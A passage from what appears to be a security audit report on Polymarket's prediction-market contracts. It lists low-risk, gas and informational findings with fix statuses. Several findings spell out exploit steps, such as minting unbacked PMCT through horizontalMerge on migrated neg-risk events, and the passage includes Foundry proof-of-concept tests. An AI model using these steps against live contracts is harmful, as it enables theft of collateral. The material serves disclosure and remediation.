    for (uint256 i = 0; i < 4; i++) {
        bytes32 conditionId = PositionIdLib.encodeConditionId(ModuleIds.NEGRISK,
        ↪  negRiskMarketId, i);
        router.redeem(conditionId, 0, 100_000_000);
    }
    vm.stopPrank();

    assertEq(collateral.token.balanceOf(alice), 200_000_000);
}
```

Recommendation: The impact of this issue is heavily dependent on the operational steps surrounding resolution. While it is indeed mitigated assuming correct handling, consider simplifying the the oracle reassignment logic to avoid scenarios in which multiple resolution paths remain accessible.

Polymarket: Fixed in PR 210. This adds admin-pause respect and NegRisk aggregate invariant enforcement on the migration-resolve path, closing the circuit-breaker gap if legacy ever misbehaves.

Cantina Managed: Verified.

4.2.17 Migrated `NegRisk` events can mint unbacked PMCT from YES baskets when legacy markets resolve all-false

Severity: Low Risk

Context: NegRiskMigrationMixin.sol#L121-L139

Description: `NegRiskModule::horizontalMerge` is only solvent when an event satisfies the neg-risk invariant that the total YES payout across all conditions sums to exactly `1_000_000`. This is enforced for V2 events through `NegRiskModule::prepareEvent` and `NegRiskModule::reportResult`. Migrated legacy neg-risk events, however, are not guaranteed to enforce the same semantics.

`NegRiskMigrationMixin::prepareMigrationEvent` accepts any legacy market with a non-zero question count and `NegRiskMigrationMixin::resolveMigrationCondition` imports legacy per-condition payouts without any event-level aggregate YES validation. This is potentially problematic as the legacy `NegRiskAdapter` permits all questions in a market to resolve false. `NegRiskAdapter::reportOutcome` always reports binary payouts to `ConditionalTokens` but there is nothing to stop all conditions from being reported as false.

As a result, a migrated event can contain a full YES basket that is treated as mergeable by `NegRiskModule::horizontalMerge` even though that basket may later redeem zero if the legacy market resolves all-false. An attacker can exploit this by:

1. Acquiring both YES and NO positions for each legacy question.
2. Migrating only the YES outcomes into the new system, while retaining the legacy NO outcomes.
3. Calling `NegRiskModule::horizontalMerge` to burn the migrated YES basket and mint PMCT immediately.
4. Redeeming the retained legacy NO positions once the legacy market resolves all-false.

In this scenario, the migrated YES basket backing the minted PMCT is worthless, while the retained legacy NO outcomes still redeem the original legacy collateral. The PMCT minted by `NegRiskModule::horizontalMerge` is therefore unbacked, and the vault absorbs the loss.

Recommendation: Do not allow migrated neg-risk events to use horizontal operations unless they are guaranteed to have exactly one condition resolve YES in aggregate.

Polymarket: Acknowledged. Operationally, migrated neg-risk markets are expected to preserve the legacy one-winner invariant: exactly one condition will resolve YES across the event. Under that assumption, the all-false scenario required by this finding is out of scope for the intended migration flow.

Cantina Managed: Acknowledged.

4.2.18 Raw position identifiers lack type-safe validation boundaries

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The protocol passes position, condition, event, and oracle request identifiers as raw `uint256` / `bytes32` values across modules. Although these identifiers have different semantic meanings and validity requirements, the type system does not distinguish them. This makes it easy for entrypoints to accept malformed IDs and rely on downstream helper functions to reinterpret them.

The non-zero reserved-bit issue is one concrete example: caller-supplied IDs can contain values in bits 24-87 even though current modules intend to treat those bits as reserved for future use. Depending on which helper function is used, those bits may be masked out, preserved in storage keys, or ignored during range checks. This creates non-canonical state and inconsistent behavior across modules.

The broader issue is that raw identifiers allow invalid states to cross trust boundaries:

- A condition ID can be passed where an event ID is expected.

- A position ID can be treated as a condition ID after masking only the outcome byte.
- A request ID can be tracked under one raw key while resolving to a different derived condition.
- Future upgrades that give meaning to currently reserved bits may collide with malformed IDs already minted, bridged, or otherwise operated on within the current system.

While the current impact of the creation of non-canonical state appears to be relatively limited, this behavior increases the likelihood that future modules or upgrades accidentally promote malformed legacy IDs into meaningful protocol state.

Recommendations: Introduce explicit typed identifiers to ensures that IDs are validated at the trust boundary and remain well-formed throughout the system. Consider:

- Defining custom value types for `PositionId`, `ConditionId`, `EventId`, and `RequestId`.
- Implementing constructor-like functions for these types that are used to perform strict sanity checks when reading in user input, specifically ensuring that the reserved bits (24-87) are zero when casting from a raw `bytes32` or `uint256`.
- Refactoring internal module, bridge, oracle, and router functionality to pass typed IDs instead of raw `bytes32` / `uint256`.
- Keep masking helpers for derivation, but avoid using masking as validation. Refactor the library to operate on these new types, maintaining the zero-reserved-bits invariant by construction.
- If reserved bits are used in a future version, introduce explicit versioned typed constructors rather than allowing arbitrary legacy raw IDs to become valid by accident.

Polymarket: Acknowledged. This is a hardening and maintainability improvement rather than a live correctness bug. A proper fix would require broad type-safety changes across the codebase, so we are deferring it to a larger cleanup pass instead of making a narrow audit patch.

Cantina Managed: Acknowledged.

4.2.19 `OracleAggregator` can only handle up to 255 atomic neg-risk branches, making omitted branches unwinnable

Severity: Low Risk

Context: NegRiskModule.sol#L84, NegRiskModule.sol#L177, OracleAggregator.sol#L64-L67

Description: `NegRiskModule::prepareEvent` supports up to 65,536 conditions, but the `InitParams` and `RequestConfig` structs in `OracleAggregator.sol` store `resultLength` and `subconditionCount` as `uint8`. As a result, an atomic neg-risk event with 256 conditions can be created in `NegRiskModule`, but the oracle request can represent at most 255 branches.

If the operator initializes the largest representable request, conditions 0..254 can be resolved through `OracleAggregator::finalize`, while branch 255 remains outside `OracleAggregator::_isConditionInRequest`. Once the represented subset consumes the full YES weight, `NegRiskModule::resolveCondition` can permissionlessly resolve the omitted tail outcome to NO, even if it should have been the winner.

Proof of Concept: The following test should be added to `OracleAggregator.t.sol`:

```
function test_atomicNegRiskPoC_omittedTailBranchCanOnlyResolveNo() public {
    bytes32 eventId = _nextNegRiskEventId(256);

    // OracleAggregator stores resultLength/subconditionCount as uint8, so the largest
    // representable atomic request covers only condition indexes 0..254.
    _initializeRequest(eventId, address(positions.negRiskModule), 255, 255, 2, 1);

    uint256[] memory result = new uint256[](255);
    result[0] = 1_000_000;

    vm.prank(reporter1);
    eoaReporter.report(eventId, result);
    vm.prank(reporter2);
    eoaReporter.report(eventId, result);
```

```
    vm.warp(block.timestamp + 5 minutes + 1);
    aggregator.finalize(eventId, result);

    bytes32 omittedTail = PositionIdLib.getConditionIdFromEvent(eventId, 255);

    // The module has a real 256th condition, but the aggregator cannot include it.
    assertEq(positions.negRiskModule.conditionCount(eventId), 256);
    vm.expectRevert(OracleAggregatorErrors.InvalidIdentifier.selector);
    aggregator.getResultLength(omittedTail);

    assertFalse(positions.negRiskModule.hasResult(omittedTail));
    assertEq(positions.negRiskModule.resultsSum(eventId), 1_000_000);

    // Once the represented subset consumes all YES weight, the omitted branch can only
    ↪  be
    // completed through NegRiskModule's public NO resolution path.
    positions.negRiskModule.resolveCondition(omittedTail);

    uint256[] memory tailResult = positions.negRiskModule.getResult(omittedTail);
    assertEq(tailResult[0], 0);
    assertEq(tailResult[1], 1_000_000);
}
```

Recommendation: Store `resultLength` and `subconditionCount` as `uint16`.

Polymarket: Fixed in PR 207 and PR 215.

Cantina Managed: Verified. `resultLength` has been widened to `uint16`, allowing atomic neg-risk to cover all 65,536 conditions supported by `NegRiskModule`, and `subconditionCount` is no longer included in the `InitParams` struct. The `OptimisticOracleModule` has also been updated accordingly.

4.3 Gas Optimization

4.3.1 Repeated validation in `BinaryMigrationMixin::resolveCondition` can be removed

Severity: Gas Optimization

Context: BaseModule.sol#L294, BinaryMigrationMixin.sol#L92

Description: `BinaryMigrationMixin::resolveCondition` contains unnecessary repeated validation also present within `_resolveCondition()`.

Recommendation: Remove the repeated validation.

Polymarket: Fixed in commit 0c9a647.

Cantina Managed: Verified. `BinaryMigrationMixin` now calls `_storeResult()` instead of '_resolve-Condition(), removing the duplicate already-resolved validation.

4.3.2 Legacy condition ID can be passed directly to `_redeemPositions()`

Severity: Gas Optimization

Context: BinaryMigrationMixin.sol#L94, BinaryMigrationMixin.sol#L120, NegRiskMigrationMixin.sol#L122, NegRiskMigrationMixin.sol#L148

Description: `BinaryMigrationMixin` and `NegRiskMigrationMixin` both implement a `_redeemPositions()` function that takes a condition ID as argument and uses it to retrieve the legacy condition ID; however, both instances could simply pass this directly from the call site as it is already stored within the locally-scoped `legacyConditionId_` variable.

Recommendation: Consider modifying the `_redeemPositions()` implementations to take the legacy condition ID as an additional argument.

Polymarket: Fixed in PR 206.

Cantina Managed: Verified. The legacy condition ID is now directly passed through.

4.3.3 Superfluous result validation in `OracleAggregator::finalize` can be removed

Severity: Gas Optimization

Context: OracleAggregator.sol#L250, OracleAggregator.sol#L325, OracleAggregator.sol#L327

Description: `OracleAggregator::finalize` invokes `_validateResult()` to ensure that result length and sum constraints are respected; however, this is not needed since the finalized result hash is already validated to be equal to the stored result hash and `_validateResult()` is called within `OracleAggregator::reportResult()` when the result was originally proposed.

Recommendation: Consider removing the superfluous validation.

Polymarket: Fixed in PR 206.

Cantina Managed: Verified. The validation has been removed.

4.3.4 Explicit same module validation is not strictly necessary

Severity: Gas Optimization

Context: BridgeBase.sol#L484-L488

Description: The current same module validation within `BridgeBase::_sendPositionsMessage` is not strictly necessary. Attempting to burn mixed-module batches via `PositionManager.batchBurn` authorizes by `moduleById[moduleId]` for each position, meaning one module cannot burn another module's positions. In any case, it may be preferred to keep this as an explicit check.

Recommendation: Consider removing the explicit module validation.

Polymarket: Acknowledged. We are keeping the explicit same-module preflight check because it fails earlier and more clearly. Removing it would save only marginal gas while shifting failure deeper into auth/burn logic.

Cantina Managed: Acknowledged.

4.3.5 Redundant transfers for zero-amount operations in `CtfRouter`

Severity: Gas Optimization

Context: *(No context files were provided by the reviewer)*

Description: The `CtfRouter` contract currently performs token and position transfers regardless of the `_amount` provided. In cases where the amount is 0, these external calls (e.g., `safeTransferFrom`, `unsafeBatchTransferFrom`, `unsafeTransferFrom`) are redundant and consume unnecessary gas.

While this does not pose a security risk (as zero-amount transfers are generally safe and effectively no-ops on correctly implemented ERC20/ERC1155 tokens), it results in avoidable gas costs for users and integrators who may pass 0-amount parameters. This affects `splitPosition`, `mergePositions`, and `redeemPositions`.

Recommendation: Add a check to skip the transfer logic if the amount is zero.

Polymarket: Acknowledged. Zero-amount checks would not change behavior; this is only a marginal gas optimization. We do not think the extra branching/complexity is worth it for the normal path.

Cantina Managed: Acknowledged.

4.4 Informational

4.4.1 `TODO` comments should be resolved

Severity: Informational

Context: Roles.sol#L95, PositionManager.sol#L119

Description: The two `TODO` comments present in `PositionManager.sol` and `Roles.sol` should be resolved prior to deployment.

Recommendation: Implement `PositionManager::uri` and revert on non-existent token IDs.

Polymarket: Fixed in PR 190.

Cantina Managed: Verified. The `TODO` comments have been resolved.

4.4.2 `COLLATERAL_TOKEN` can quietly change in an upgrade

Severity: Informational

Context: PositionManager.sol#L59-L60

Description: `COLLATERAL_TOKEN` can quietly change in an upgrade because it is an immutable contained within the `PositionManager` implementation bytecode, not proxy storage. Unlike a constant, which only changes if the source code is explicitly edited, an immutable can change just by deploying the same code with a different constructor argument.

`BaseModule`, `Exchange`, and `Router` read that value once in their constructors and store it in their own immutable `COLLATERAL_TOKEN`, so they would continue using the old address even after `PositionManager` starts returning a new one. While it is unlikely, this would result in different parts of the protocol using different collateral token addresses, so may be preferable to have this explicitly implemented in the initializer instead.

Recommendation: Given it is understood that there is no intention to ever change the collateral token address throughout this codebase, consider making `COLLATERAL_TOKEN` a constant address within the `POSITION_MANAGER` that is always read directly when initializing the other contracts.

Polymarket: Acknowledged. By design, collateral changes are governance-controlled upgrade actions, not a user-triggerable runtime flow. Any collateral change would only happen through an explicit planned migration/version transition.

Cantina Managed: Acknowledged.

4.4.3 `CtfRouter` does not read `CollateralToken` directly from `PositionManager`

Severity: Informational

Context: CtfRouter.sol#L33-L36

Description: Unlike other contracts such as `Router` which reads the collateral token address from the `PositionManager` contract as a source of truth, it is passed directly here as a constructor argument within `CtfRouter`.

Recommendation: Consider making `CtfRouter` consistent with other contracts which read `COLLATERAL_TOKEN` directly from `PositionManager`.

Polymarket: Acknowledged. By design, `CtfRouter` uses the protocol's canonical collateral token directly. Adding an extra indirection through `PositionManager` would not improve safety for the intended deployment model.

Cantina Managed: Acknowledged.

4.4.4 `Router::redeem` accepts arbitrary `uint256` outcome indices that can alias with `OUTCOME_MASK` applied

Severity: Informational

Context: PositionIdLib.sol#L59, Router.sol#L94-L103

Description: `Router::redeem` accepts arbitrary `uint256` outcome values, but `PositionIdLib::getPositionId` masks the outcome to 8 bits using `OUTCOME_MASK`. As a result, values like 256 and 257 alias to outcomes 0 and 1 respectively, so the router will accept non-boolean inputs even though binary markets only have two valid outcomes. The alias only resolves to the same

ERC1155 position ID within the same market, so it does not appear to allow a user substitute a different position or redeem collateral from another market.

Recommendation: Consider restricting the `_outcomeIndex` to either 0 or 1.

Polymarket: Fixed in PR 195.

Cantina Managed: Verified. The router now rejects any `_outcomeIndex > 1` before deriving the position ID.

4.4.5 Condition index encoding mismatch between `Router::convert` and `NegRiskModule::convert`

Severity: Informational

Context: PositionIdLib.sol#L166, Router.sol#L160-L171

Description: `Router::convert` derives the source position using `PositionIdLib::getConditionIdFromEvent` which masks `_conditionIndex` to 16 bits using `CONDITION_INDEX_MASK`, but `NegRiskModule::convert` validates the original unmasked `_conditionIndex` against the event's actual `conditionCount` before any burn/mint occurs.

While there is an encoding mismatch between the router and module, it does not appear practically exploitable. Even if an event had the maximum 65536 conditions, the only valid indices would still be `0..65535`, which are exactly the values that do not change under the `0xffff` mask.

Recommendation: Consider restricting the user-supplied `_conditionIndex` type to `uint16` to make this constraint explicit.

Polymarket: Fixed in PR 196.

Cantina Managed: Verified. `_conditionIndex` has been narrowed to `uint16`, aligning the router with the module.

4.4.6 Duplicated code in `BinaryMigrationMixin::getMigrationConditionId` should be avoided

Severity: Informational

Context: BinaryMigrationMixin.sol#L70, BinaryMigrationMixin.sol#L146

Description: The library invocation within `BinaryMigrationMixin::getMigrationConditionId` could avoid being duplicated by calling the overridden `_legacyConditionIdToConditionId()` function instead.

Recommendation: Consider simply returning `_legacyConditionIdToConditionId()` within `BinaryMigrationMixin::getMigrationConditionId`.

Polymarket: Fixed in PR 188.

Cantina Managed: Verified. `_legacyConditionIdToConditionId()` is now returned directly.

4.4.7 Role aliases should be defined for base access contracts

Severity: Informational

Context: InitializableRoles.sol#L17-L33, Roles.sol#L17-L39, Auth.sol#L11-L20

Description: `Auth.sol`, `Roles.sol`, and `InitializableRoles.sol` all inherit Solady `OwnableRoles` and make use of the predefined role constants. Similar to `Exchange.sol`, it would be preferable to define readable aliases.

Recommendation: Consider defining readable aliases for the admin, operator, creator, and bridge roles.

Polymarket: Fixed in PR 191.

Cantina Managed: Verified. Role aliases have been added.

4.4.8 `NegRiskMigrationMixin::prepareMigrationEvent` does not validate non-zero `CONDITIONAL_TOKENS`

Severity: Informational

Context: BinaryMigrationMixin.sol#L49, NegRiskMigrationMixin.sol#L125-L126, NegRiskMigrationMixin.sol#L169-L171

Description: Unlike `BinaryMigrationMixin::prepareMigrationCondition`, `NegRiskMigrationMixin::prepareMigrationEvent` does not validate `CONDITIONAL_TOKENS != address(0)`. However, the NegRisk migration flow relies on a non-zero `CONDITIONAL_TOKENS` in `resolveMigrationCondition()` and via `_legacyConditionalTokens()`.

Recommendation: Consider adding explicit validation to `NegRiskMigrationMixin::prepareMigrationEvent` to ensure that `CONDITIONAL_TOKENS` is a non-zero address.

Polymarket: Acknowledged. By design, neg-risk migration only applies in the Polygon deployment, where `ConditionalTokens` is always configured. A zero `CONDITIONAL_TOKENS` value would be an invalid deployment state, not a live runtime scenario.

Cantina Managed: Acknowledged.

4.4.9 Incorrect `ChainlinkReporterModule::report` dev comment

Severity: Informational

Context: ChainlinkReporterModule.sol#L143

Description: The `ChainlinkReporterModule::report` dev comment incorrectly refers to "registerReport" when this should be `reportResult()`.

Recommendation: Change the dev comment to correctly reference `reportResult()`.

Polymarket: Fixed in PR 189.

Cantina Managed: Verified.

4.4.10 Legacy `NegRisk` maximum condition count should be explicitly enforced

Severity: Informational

Context: NegRiskMigrationMixin.sol#L74, NegRiskMigrationMixin.sol#L77, NegRiskMigrationMixin.sol#L94-L101

Description: `NegRiskMigrationMixin::getLegacyConditionIdFromEvent` silently truncates the `_conditionIndex` argument to `uint8`. Even though the canonical implementation cannot exceed 255 questions, an explicit `conditionCount_ <= 255` check may be desirable to enforce the invariant if, for whatever low-likelihood reason, it is violated and results in silent overflow in the `NegRiskMigrationMixin::prepareMigrationEvent` for loop.

Recommendation: Consider explicitly validating that the legacy condition count does not exceed 255.

Polymarket: Fixed in PR 194.

Cantina Managed: Verified. The recommended validation has been added.

4.4.11 Naming Cohesion

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: There are many functions, variables, parameters, etc. that are confusingly or inaccurately named.

`resolveCondition` in `BinaryMigrationMixin`: The top-level module `NegRiskModule` defines it's own non-migration function `resolveCondition` but function here handles migration conditions only. Consider renaming this to `resolveMigrationCondition` to match the `NegRiskModule` |.

`resolveCondition` in `NegRiskModule`: This function implies generality in what kinds of conditions it accepts but would be more accurately named something like `forceResolveToNo` or `resolveConditionToNo`.

Function names in `PositionIdLib`: This library has no cohesive naming convention for functions. For example, there are two functions named `getConditionId` and one encodes while the other decodes. There *is* a function that encodes called `encodeConditionId` which hints at the ideas of a scheme with `encode*` / `decode*` function names but this is the only one to follow such a scheme.

`_finalizeCondition` in `OracleAggregator`: This function handles multiple inputs and would be more accurately named `_finalizeConditions`.

Active status in `OracleAggregator`: The `ResolutionStatus` enum demarcates the stages a resolution can go through but notably a resolution state is never set to `Active`. In fact, the function `_isActiveStatus` checks for the `Active` *or* `None` status. The `Active` status should be merged into the `None` status and otherwise removed from the workflow. Perhaps the new status could be named something like `Unresolved`.

`pause` / `unpause` in `OracleModule`: These functions would be more accurately named `pause/unpauseOracle` and `pause/unpauseResolution`.

Polymarket: Fixed in PR 198.

Cantina Managed: Verified. Naming has been improved for all the identified functions.

4.4.12 ECDSA Malleability

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: Due to the nature of ECDSA signatures having two valid values (a positive and negative version), it is the norm for the larger of the two to not be accepted. This is to ensure that a signature represents a unique event for protocols to check against. The `_isValidEOASignature` function in `Exchange.sol` does not enforce this norm. Because orders are marked complete by order hash and not signature this does not lead to orders being double counted, but it is nonetheless a best practice to always enact.

Recommendation: Consider rejecting any signature with an `s` value that is outside the valid range as defined in the Ethereum Yellow Paper's Appendix F. An example of this can be seen in ECDSA.sol#L185-L187.

Polymarket: Acknowledged. This is already constrained by the offchain CLOB signing pipeline, which rejects malleable signatures before they reach the exchange. Onchain hardening is possible, but it would duplicate an invariant already enforced at order ingress.

Cantina Managed: Acknowledged.

4.4.13 Results reporting not idempotent

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: In `ChainlinkReporter` the following comment is found on the `report` function:

> This function allows reporting multiple times, since registerReport on the aggregator idempotent for these types of markets.

Assuming this refers to `reportResult` on the `OracleAggregator` this comment simply isn't true. The `OracleAggregator` contract does not block reporters from voting multiple times. In fact, a reporter contract is not restricted from reporting results until it reaches quorum all by itself and this can easily be the case in the `report` function named above because it is permissionless.

Recommendation: Consider ensuring that the `reportResult` function returns early if it is called from a reporter that has already logged their result.

Polymarket: Fixed in PR 207.

Cantina Managed: Verified. Validation has been added to enforce one vote per reporter module.

4.4.14 Race condition between dispute and admin re-requests

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: In `OptimisticOracleModule` the admin has the power to `forceReRequest` which will create a new request id for the condition id of interest. However, if a user disputes the old request on UMA it will call into `priceDisputed` and force another re-request and overwriting the current request id for the condition id. This means that when UMA tries to call in to `priceSettled` for the admin's request, it will revert on line 190 because it is not the current request for the condition. The admin will have to `forceReRequest` again for their request to be the current one.

Recommendation: Consider adding a check on `priceDisputed` like in `priceSettled` that requires the request id to be the current one for the condition id of interest.

Polymarket: Fixed in PR 208.

Cantina Managed: Verified. The `priceDisputed()` callback now returns early for superseded requests.

4.4.15 `OptimisticOraclePayoutLib::priceToPayouts` silently supports `NUMERICAL` price identifiers with zero outcomes

Severity: Informational

Context: OptimisticOraclePayoutLib.sol#L31, OptimisticOracleModule.sol#L148, OptimisticOracleModule.sol#L354

Description: The `else` branch within `OptimisticOraclePayoutLib::priceToPayouts` implementing the `NUMERICAL` condition also accepts `n==0`. While it is not reachable due to existing `OptimisticOracleModule` validation via `_isValidPrice()` which prevents prices for such outcome counts from being proposed, this is still a validation gap that could unexpectedly revert depending on upstream usage.

Recommendation: Consider explicitly rejecting `NUMERICAL` price identifiers with zero outcomes.

Polymarket: Fixed in PR 193.

Cantina Managed: Verified. Defensive validation and accompanying documentation has been added.

4.4.16 Ambiguous `initOnce()` modifier comments

Severity: Informational

Context: OptimisticOracleModule.sol#L94

Description: `OptimisticOracleModule::createRequest` passes `_conditionId` into the `initOnce()` modifier, even though the shared `OracleModuleBase` modifier and comments describe that guard as event-scoped initialization. This is likely intentional because the `OptimisticOracleModule` models initialization per request ID rather than per event, especially for binary and incremental neg-risk flows where the request unit is a condition; however, it still makes the shared `initOnce()` / `requestInitialized` abstraction semantically inconsistent with the rest of the oracle modules, which use normalized eventIds.

Recommendation: Consider modifying the `initOnce()` comments and variable naming to reduce ambiguity.

Polymarket: Fixed in PR 192.

Cantina Managed: Verified. The documentation has been improved.

4.4.17 `NegRisk` events with too many conditions cannot precisely represent equal-weight payouts

Severity: Informational

Context: BaseModule.sol#L127

Description: With `RESULT_DENOMINATOR = 1_000_000`, a NegRisk event with 65,536 conditions cannot represent an exactly equal YES distribution, because `1_000_000 / 65_536 = 15.2587890625` and per-condition payouts must be integers; the oracle must approximate it with a mix of 15 and 16 that sums to exactly `1_000_000`. That preserves the invariant and solvency, but introduces quantization error in the payout vector, and redeem-time integer division (`amount * numerator / 1_000_000`) can floor small holders' positive theoretical payouts down to zero when numerators are this small.

Recommendation: Consider restricting the number of NegRisk conditions to a more practical value that preserves acceptable minimum payout precision, for example 10,000 conditions which gives 100 units each in an equal split.

Polymarket: Acknowledged. In practice, we do not expect neg-risk events with condition counts large enough for this precision edge case. The intended market set stays well below that bound.

Cantina Managed: Acknowledged.

4.4.18 Unnecessary code duplication in `Router::horizontalMerge`

Severity: Informational

Context: NegRiskModule.sol#L289-L304, Router.sol#L141-L147

Description: The logic present in `Router::horizontalMerge` is repeated within the `_buildEventArrays()` invocation of `NegRiskModule.horizontalMerge()`, although notably with the addition of the `EventNotPrepared()` validation. The validation should remain the responsibility of the module, and it should likely not be modified to trust caller-supplied arrays even if it were to expose a view function used by the router. Thus it does not seem possible to achieve any gas savings but it may still make sense to minimise duplicated code by exposing a shared function to construct the `positionIds` and `amounts` arrays.

Recommendation: Consider implementing a view function within `NegRiskModule` that minimises code duplication.

Polymarket: Acknowledged. This is a cleanup/refactor opportunity, not a correctness issue. The current duplication is small and explicit, and we are not taking on this non-critical refactor in the audit-fix pass.

Cantina Managed: Acknowledged.

4.4.19 `BaseMigrationMixin` contains an unnecessary callback function

Severity: Informational

Context: BaseMigrationMixin.sol#L212-L213

Description: `BaseMigrationMixin` contains a `wrapCallback()` function for wrapped collateral token operations; however the legacy `WrappedCollateral` token (`0x3A3BD7bb9528E159577F7C2e685CC81A765002E2`) used for NegRisk events does not appear to have a callback.

Recommendation: Remove the unnecessary callback.

Polymarket: Fixed in PR 197.

Cantina Managed: Verified. The callback has been removed.

4.4.20 Unused `ChainlinkReporterModule` errors

Severity: Informational

Context: ChainlinkReporterModule.sol#L46-L47

Description: The `WindowNotEnded()` custom error is unused. The current logic relies on the implicit failure mode that `DATA_STORE::read` reverts if the end-price slot has not yet been written, indirectly preventing early reporting.

Recommendation: Either make explicit use of this error or remove it.

Polymarket: Fixed in PR 201.

Cantina Managed: Verified. The `WindowNotEnded()` error has been removed.

4.4.21 Unused `BaseModule` events

Severity: Informational

Context: BaseModule.sol#L41-L46

Description: The `PositionBurned` event within `BaseModule` is currently unused. As written, the primary candidate would be `redeem()` because it burns exactly one position ID and satisfies all the corresponding event fields.

Other candidates are:

- `burnFromBridge()`, but this function is batch-oriented and currently takes only arrays, so `PositionBurned()` would need to be emitted once per element.
- `merge()`, which burns two positions.
- `horizontalMerge()`, which burns many YES positions, also requiring one event per element.
- `convert()`, which burns one NO position.

Recommendation: Consider emitting the event in `redeem()` and optionally in `convert()` if the intent is to emit a burn event for simple single position burns. It can also be used to emit an event per burned position in the batch for other functions mentioned above, but note that the event data does not line up perfectly with the actual custody flow since the module is burning its own balance after receiving the token from the user or router.

Polymarket: Fixed in PR 201.

Cantina Managed: Verified. The `PositionBurned` event is now emitted in both `redeem()` and `convert()`.

4.4.22 Unused `ModuleErrors` errors

Severity: Informational

Context: ModuleErrors.sol#L16-L17, ModuleErrors.sol#L24-L27, ModuleErrors.sol#L36-L49

Description: The following custom errors defined in `ModuleErrors` are currently unused:

- `InvalidAmountTransferred()`: In the callback-based module entrypoints, the module mints the output first and only later relies on the callback to have moved the exact backing amount, but it never checks the post-callback balance delta itself. The revert is implicit within later via `burn()` / `batchBurn()`.
- `InvalidIndexSet()`: `CtfRouter::redeemPositions` currently skips any index set that isn't 1 or 2, but could still explicitly revert.
- `InvalidPositionId()`: Malformed ids implicitly revert, but could be used for defensive validation in `getPayout()`, `redeem()`, `mintFromBridge()`, or `burnFromBridge()` that the embedded module id matches that reported by the module contract itself.

- `UnresolvedCondition()`: This would make sense only if there were an event-level finalization/cleanup operation that required every child condition to be resolved first. There is no such operation in the current logic.
- `InvalidYesOutcome()`: In NegRisk, the cumulative YES-sum constraint is currently enforced with `InvalidResults()` on L128-132, but could use this error instead to be more specific.
- `InsufficientBacking()`: Implicit revert during collateral token burn handles insufficient backing after splits, similar to `InvalidAmountTransferred()`.
- `InvalidEventId()`: Unnecessary hardening for NegRisk functions that accept `_eventId` from external callers as already revert with `EventNotPrepared()`: `prepareEventFromBridge()`, `reassignEventOracle()`, `horizontalSplit()`, `horizontalMerge()`, `convert()`.
- `PositionNotFound()`: Modules operate on ERC1155 balances, so missing positions already fail when burns/transfers occur.
- `MustPrepareViaEvent()`: Intentionally unused in the current design. NegRisk inherits `prepareConditionFromBridge()` from `BaseModule`, which allows a condition to arrive before its parent event and expects `reportResult()` to fail until the event is later bridged.
- `EventNotBridged()`: The bridge race condition above currently reverts with `EventNotPrepared()` in `reportResult()` and `resolveCondition()`. This could be used to be more specific if a distinct error is needed to indicate that a condition is bridge-prepared but event metadata has not yet arrived.

Recommendation: Per the above analysis, consider either using or removing these currently unused errors.

Polymarket: Fixed in PR 201.

Cantina Managed: Verified. All noted errors with the exception of `InvalidIndexSet()` and `InvalidEventId()` have been removed.

4.4.23 Modules do not inherit `IBinaryReporter`

Severity: Informational

Context: OracleAggregator.sol#L359

Description: The `IBinaryReporter` interface is correctly implemented but not inherited by modules. This means that `reportResult()` can be called from within `OracleAggregator::_finalizeCondition` as intended, but there are no compile-time guarantees that the signature does indeed match the interface.

Recommendation: Consider explicitly inheriting `IBinaryReporter` from within the modules to ensure that the interface is correctly adhered to.

Polymarket: Fixed in PR 201.

Cantina Managed: Verified. `BaseModule` now inherits `IBinaryReporter`.

4.4.24 Permissioned `DataStore` assumptions

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: The `DataStore` is a permissioned from which the `ChainlinkReporterModule` reads price data. It is understood that the following assumptions are all acceptable per the current design:

- `ChainlinkReporterModule` fully trusts the configured `priceSource` writer, so a compromised, buggy, or misconfigured source can supply arbitrary prices.
- `DataStore::write` does not prevent rewriting an existing key. That means the writer can overwrite historical prices at any time before `report()` is called. Since the reporter only checks the currently stored value, a malicious or faulty writer can retroactively change the candle start or end price and therefore change the resolution outcome.

- The reporter does not verify any signed Chainlink report onchain. It only reads the stored `bytes32` value, so authenticity and correctness are delegated entirely offchain.
- The integration does not decode or validate a Chainlink report schema onchain. It therefore assumes the writer chose the correct feed, schema version, decimals, etc.
- There is no onchain timestamp expiry or staleness validation for the stored price. If the writer stores stale/incorrect data, the module has no independent way to detect that.

Recommendation: Consider explicitly documenting these assumption, along with the `OracleAggregator` threshold configuration intended for use with the `ChainlinkReporterModule`.

Polymarket: Fixed in PR 201.

Cantina Managed: Verified. These assumptions have been documented within `docs/oracle.md`.

4.4.25 `ChainlinkReporterModule` misreports incremental neg-risk subconditions as the parent event

Severity: Informational

Context: ChainlinkReporterModule.sol#L150-L152, ChainlinkReporterModule.sol#L174

Description: `ChainlinkReporterModule::report` accepts an arbitrary `_requestId`, but it does not preserve that identifier when forwarding the report to the `OracleAggregator`. Instead, it derives the parent `eventId` which is always forwarded in the call to `OracleAggregator::reportResult`.

It is understood that `ChainlinkReporterModule` may be used to resolve both binary and incremental neg-risk markets. For binary markets, the event identifier is equivalent to the condition identifier, so there is no issue; however, incremental neg-risk requests require each sub-condition to be reported by its own condition identifier. In such markets, any attempted resolution will inadvertently vote on and finalize condition 0 (corresponding to the parent event identifier) while the actually requested sub-condition remains unresolved. Atomic neg-risk reporting is unaffected if the intended request ID is the event ID and `resultLength == subconditionCount`.

Recommendation: Forward the original request identifier to the oracle aggregator rather than the derived `eventId`. Note that additional care should be taken to sufficiently handle potentially non-zero reserved bits.

Polymarket: Fixed in PR 223.

Cantina Managed: Verified. The input `requestId` is now enforced to be the `eventId`.

4.4.26 `NegRiskMigrationMixin::prepareMigrationEvent` accepts single-condition legacy markets

Severity: Informational

Context: NegRiskMigrationMixin.sol#L66

Description: `NegRiskModule::prepareEvent` enforces a condition count of at least 2 within V2, whereas the value returned by the call to legacy `NegRiskAdapter::getQuestionCount` from within `NegRiskMigrationMixin::prepareMigrationEvent` is simply only required to be greater than zero.

In the highly unlikely event that a legacy neg-risk market is deployed with fewer than two conditions, a sole YES position can be treated as a complete basket. A user could split the single legacy question, migrate only the legacy YES into V2, keep the legacy NO outside the module, and call `horizontalMerge()` to mint 1 PMCT. If the sole legacy question later resolves NO, the retained legacy NO outcome still redeems for full value while the module-held migrated YES position settles to zero. The result is two claims backed by only the original single unit of collateral.

Recommendation: Consider enforcing stricter validation on preparation such that all migrated events have a minimum of two conditions.

Polymarket: Fixed in PR 201.

